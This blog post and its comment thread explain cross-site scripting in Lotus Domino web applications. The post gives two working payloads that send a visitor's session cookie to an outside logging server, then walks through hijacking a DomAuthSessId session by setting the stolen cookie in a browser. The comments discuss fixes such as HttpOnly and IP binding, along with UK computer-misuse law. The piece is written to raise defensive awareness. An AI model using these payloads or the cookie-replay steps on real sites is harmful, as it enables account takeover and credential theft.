Hacking Domino: Harvesting Your User's Logins -- Why You Should Take XSS Seriously!
Following on from yesterday's discussion about users editing hidden fields I want to discuss another danger and the reason I was thinking about the problem in the first place.
Let's forget about the consequence of the actual change to the field for a moment. Even if changing it has no adverse effect on the system itself there is another, potentially dangerous, problem. Cross-Site Scripting or XSS.
Maybe you've heard of XSS but dismissed it as something not worthy of attention. You really shouldn't dismiss it too easily though. What if I were to say I could easily use XSS to login to your server as an administrator or any other user for that matter!? It's really easy to do!!
Let's assume you have a form that allows user-entered HTML. This can be either because you want them to (TinyMCE on top of a Rich Text field, for example) or because you don't strip HTML from fields where you don't want or expect it (the Title for example). Either way, if the user can enter HTML, they can then have a good go at hacking you.
As an example imagine a user enters the following HTML in to a field:
<script>document.write("<img src='http://extranet/xss.nsf/logcookie?
OpenForm&cookie="+document.cookie+"' />");</script>
Or even the following (which works in IE6) seemingly harmless-looking HTML:
<img src="javascript:location.href='http://extranet/xss.nsf/logcookie?
OpenForm&cookie='+document.cookie"/>
If either of the above (or the 1,000s of similar hacks) aren't properly filtered out then you could be in trouble!
If the above code was stored in a document and you opened it while logged in you'd reveal your authentication cookie's value to the hacker. They could also see your IP address and the URL you were logged in to.
To prove it works I actually tested it out. In the example above the form on the other server looked like this:
Note that the user would only see this if the <img> hack was used from two I showed above. If the <script> hack was used the user wouldn't see this and would be completely unaware of the problem.
Even if they are aware there's not much they can do. Even if they panic and close the browser it's too late. Although closing the browser logs them off, the session still exists on the server and if the hacker reproduces a cookie called DomAuthSessId with the value they now know the hacker will be logged in as you! Your only hope is that the user has the wherewithal to ring and tell somebody who can quit the HTTP task on the server and not start it again until they've fixed the huge security hole.
To test it out I made it so that the LogCookie Form (see the above screenshot) would run a WebQueryOpen agent to email me the cookie value and the URL they were logged in to. Then all I did was:
- [Hacker]: Post one of the above snippets of HTML to a website where I knew (or hoped if I were an actual hacker) there was no filtering.
- [User]: Visit the site while logged in as an Administrator who knows nothing of the attack.
- [Hacker]: Wait at the other end for the email(s) to arrive.
- [Hacker]: Take one of the emails and click the link in it which points to the URL (HTTP_Referer) of the hacked page.
- The link opens Firefox at the problem Domino website. Imagine the first thing you see is a login screen (like below).
- Even if I don't have a login for the site it doesn't matter. I can now bypass the login by adding a cookie (see above) using the Web Developer plugin.
- All I need to do is add a cookie called DomAuthSessId (case sensitive!) with the same value as the one that was emailed to me, like so, being sure to tick "Session cookie":
- After pressing OK all I need to do is refresh the page and it will send the cookie to the server, which will then think I'm logged in as the user who just opened the hacked page. Instead of seeing the login page I'll see the application itself and be able to do everything that user is allowed to (including changing their password!).
- Even if the user has since logged out it doesn't matter, just as long as the hacker receives the email and creates the cookie before the session times-out on the server!
Scarily easy! Note that I tested this from different servers and PCs. The server logging the cookie was different to the one hacked. The PC I logged in to with the stolen cookie was not the one I used to log in to when I visited the bad page and, so, had a different IP address. This is as real world a test as I could conjure up. Real enough to prove it's possible.
So then. This isn't one of my digs at Domino. This is a problem that affects all web server environments that user cookie-based authentication. I'm only showing how easy it is in the hope it will make you sit up and take notice of how serious XSS vulnerabilities can be.
Tomorrow I'll talk about a solution. That solution will be from an application perspective. As far as the server goes I can't see why Lotus don't tie a session to the IP the user logged in from. That and/or using the HttpOnly flag on the DomAuthSessId cookie, which would prevent JavaScript (and hence the hacker) from accessing it in most browsers.
Skip to the 
You can subscribe to an individual
Excellent Tip ...
also intriguing is copy the following line of code into the address bar of any website, and be able to change the layout / text / images etc within it ....
javascript:document.body.contentEditable='true'; document.designMode='on'; void 0
enjoy !
Wow... That is scarily easy. Looking forward to seeing the solution.
Dan
This is just one more attack. This attack however is not just the problem of Domino, but *any* server which fails to vaildate it's user entered data.
There are a lot more possible attacks which are specifically Domino related. However as the saying goes "The law is an ass". There is a Bill going through Parliament at the moment which is an ammendment to the 1990 Computer Misuse Act.
It reads:
----
A person is guilty of an offence if he makes, adapts, supplies or offers to supply any article —
(a) intending it to be used to commit, or to assist in the commission of, an offence under section 1 or 3 [of the Computer Misuse Act]; or
(b) believing that it is likely to be so used.
----
Telling people about the hack would be considered a breach of the law. However by NOT telling people about the hack you would have commited another breach of civil law by allowing potentially compromised systems to remain in service.
So what it all boils down to is don't write or release any system which can be misused. Here we have a whole can of worms that can really upset things.
Lets hope the Police and Justice Bill gets re-written properly or thrown out. Otherwise we're all in deep do-do.
Bloody hell Dragon. That's crazy. Not something I'd lose sleep over it though. The only thing that would worry me is their potential to seize all my computer equipment. Not that's a scary thought.
Yes it's scary. The only solution (within the law) is to provide a secure system in the first place. But if Developers don't know all the tricks that a hacker uses then can you guarantee your system is secure? Even since mentioning stuff yesterday my server has had a few Domino knowledgable people having a go at it. For those who tried I hope you liked my little joke messages which you got.
As far as I can see there are no Hacking Domino type threads around (well there are now you started 'em!).
But back to the case in hand.
There are two Domino problems here. Firstly is allowing user entered data to *execute* when viewing. I allow users to enter HTML. However when data is displayed it is done with the old < > tags. So what is sent to the browser looks just like the HTML entered. Not sure if you do it but if <script>alert('Boo!')</script> you got a spooky message then you are allowing stuff to execute.
Secondly is Domino's wierd pass-thru of using the square brackets. I'm sure we've all done it. Added passthru code directly on pages to allow RichText fields to pass the code dircetly. [<script>alert('Boo! (with square brackets)')</script>] My technique for stopping this is simply a WQS agent which does a search and replace and inserts a space between the two characters, thereby prevent the pass-thru from working.
Hehehe. Glad to see you prevent the execution. I know a few sites that don't.
I believe there is a possible flaw here that at least mitigates this risk to some extent. I will have to test to see before I'm sure.
Jake, since you've already set up the test code, if you want to ping me and work it out, let me know.
Confirmed.
After communicating with Jake, we clearly confirmed that this works from another browser on a totally different IP address.
Sad.
Thanks for confirming Andrew.
I can't imagine it's very hard for Lotus to stop that. It seems odd that the same session is allowed to be accessed from multiple IP addresses. I can't imagine why it would ever need to. I can see the need to login from different PCs but surely the session id would be different for the two sessions in that case?
Jake
Never thought about XSS that much, but seeing as I've used domlog.nsf to accomplish the same (taking over a user session for troubleshooting purposes) I guess it's time for some code review.
I would believe that this is a problem that Lotus hasn't been aware of/ignored because it hasn't been discussed (until now). As you say, it should't be hard to remedy.
A simple rewrite of the session key generator to include the IP of the client in the mix should be enough. I'd think all keys are temporarily stored in a registry of some sort. When a cookie is checked, validate it against the IP of the remote host.
The only open backdoor is that people behind the same router (one ip on the internet) can hack each other, but that is a small problem compared to that the entire Internet can use your session.
Might it be possible to add code to the application to store a logged in user's current IP address in a profile document when they log in. Then, each time they hit the server check that the IP address is identical.
If the IP address changes then log them out somehow. (The only way I can think of to log them out is to redirect them to the logout URL.) You could also log the hack attempt with the IP address and perhaps use it to ban that IP address somehow.
One way to avoid having your admin level session ID stolen is not to browse using a login with admin privileges - specially if you might be looking at documents entered by users. Ideally, use a web-only account that doesn't even have a Notes ID or mailbox associated with it.
Computer Misuse Act - you should at least consider losing sleep over it. Even as currently enacted it is enforced and it has led to at least one very dodgy conviction.
Link
A chap who thought he had been phished "knocked on the door" of a web site that was accepting donations for tsunami victims and found himself convicted of a breach of the Act.
I have one question - once the admin had realised their cookie had been compromised they could use a sign out link - eg: http://Host/DatabaseDirectory/DatabaseFileName?Logout
shouldn't this be enough to end the session on the server and make the DomAuthSessId invalid?
Yes, that would work Patrick. That's if the user/admin realises though and/or knows about ?logout. You'd like to think so, but can you ever be sure...
FYI, about the [< >] being interpreted by Domino as passthru or passthru in rich text etc: these types of HTML can be disabled by an ini variable or, if I remember well, form by form via $$HTMLOptions and "DisablePassthruHTML=x" (see here for possible values Link )
Jake,
1) Does the hacker need the web-query-open agent setup? - I presume this would fail silently if the router task isn't running on the webserver?
2) Can he/she use some javascript code to post the data silently to another webserver/website? (instead of using emails)
3) Would the field's html attribute, max-length, truncate the data put into a field?
And by having @Left( theField ; MaxLength ) in the field's input translation break the javascript code? (where theField's length is greater than MaxLength).
Hi Richard,
1) I don't get what you mean. The hacker is requesting a URL on their own server. Chances are it won't be Domino. It could be anything. They don't need the attacked server's router task to do anything
2) See 1. No need to use POST. The GET request will do.
3) Possibly. If applied.
Re point 1) - I meant the send data via email.
Richard. They can do what they like. It's their server. They send the data (cookie value) to their server using the GET request which the browser thinks is for getting an image (in this case).
I don't see what you're getting at.
One problem with tying a session to the IP address is that it will fail in environments where the web server is sitting behing load-balancers, reverse-proxies, etc. The Domino server or any other web server, will see only one IP address.
Surely a web server behind a load-balancer would still be aware of the source IP address and not just think the request is from the IP of the balancer itself? I know nothing about that though, so I'll take your word for it that it's not possible. Anyone else?
Hi Jake,
Useful discussion going on here. One thing I've always appreciated about the MythBusters show is that when they get into describing a process that someone could very easily turn into malicious use, they omit an important piece of the equation (and say they've done so).
I'd kind of like to see that with your posts on these topics. I don't think we need to be training script kiddies on these techniques. Point out the issue, explain why it's an issue, perhaps lead down the trail, but a complete working example of an exploit is not really a good idea.
My 2 cents.
As always though, love your stuff.
@Lance,
<SARCASM>
That's right. If we tell everyone then too many people will start using the exploit so IBM would have to fix it and spoil the fun for the smart few who can put two and two together on their own.
</SARCASM>
The trouble with what you suggest is that companies have demonstrated over and over that they will not fix these problems unless forced by bad PR.
Peace,
Rob:-]